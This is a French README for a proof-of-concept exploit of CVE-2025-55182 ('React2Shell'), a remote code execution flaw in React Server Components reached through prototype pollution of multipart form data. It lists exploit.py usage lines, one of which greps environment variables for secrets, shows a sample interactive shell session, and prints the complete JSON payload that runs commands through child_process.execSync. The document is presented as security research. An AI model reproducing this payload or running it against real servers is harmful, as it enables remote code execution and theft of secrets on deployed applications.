Preuve de concept pour CVE-2025-55182 (React2Shell), une vulnérabilité RCE critique dans React Server Components via pollution de prototype. Inclut des modes d'exploitation interactif et en ligne de commande.
Les composants serveur React désérialisent les FormData de manière non sécurisée. Des champs multipart spécialement conçus déclenchent une pollution de prototype et exécutent du code arbitraire via child_process.execSync.
npm install
pip3 install requests
npm run dev
L'application s'exécute sur : http://localhost:3000
python3 exploit.py -c "whoami"
python3 exploit.py -c "whoami"
python3 exploit.py -c "pwd"
python3 exploit.py -c "ls -la"
python3 exploit.py -c "cat package.json"
python3 exploit.py -c "env | grep SECRET"
python3 exploit.py -i
> whoami
COMMAND RESULT:
your-username
============================================================
> pwd
COMMAND RESULT:
/path/to/project
============================================================
> exit
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('CMD',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
}
npm run dev
python3 exploit.py -c "whoami"
python3 exploit.py -c "whoami" -v
Affiche la structure complète de la charge utile et la réponse du serveur
Par Guaxinim | Recherche en cybersécurité